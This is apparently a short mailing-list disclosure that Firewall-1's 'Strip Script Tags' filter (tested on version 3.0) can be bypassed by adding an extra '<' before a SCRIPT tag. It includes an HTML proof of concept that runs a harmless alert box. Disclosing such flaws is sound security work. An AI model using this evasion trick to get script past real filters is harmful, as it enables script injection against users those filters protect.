The "Strip Script Tags" feature in Firewall-1 can be circumvented by adding an extra less than sign before the SCRIPT tag. The code will still execute in both Navigator and Explorer.

Hi all,
The "Strip Script Tags" in FW-1 can be circumvented by adding an extra <
before the <SCRIPT> tag like in this code:
<HTML>
<HEAD>
<<SCRIPT LANGUAGE="JavaScript">
alert("hello world")
</SCRIPT>
</HEAD>
<BODY>
test
</BODY>
</HTML>
This code will pass unchanged, and still execute in both Navigator and
Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.0) but I'm
not able to check it on version 4.0 since I don't have access to it.
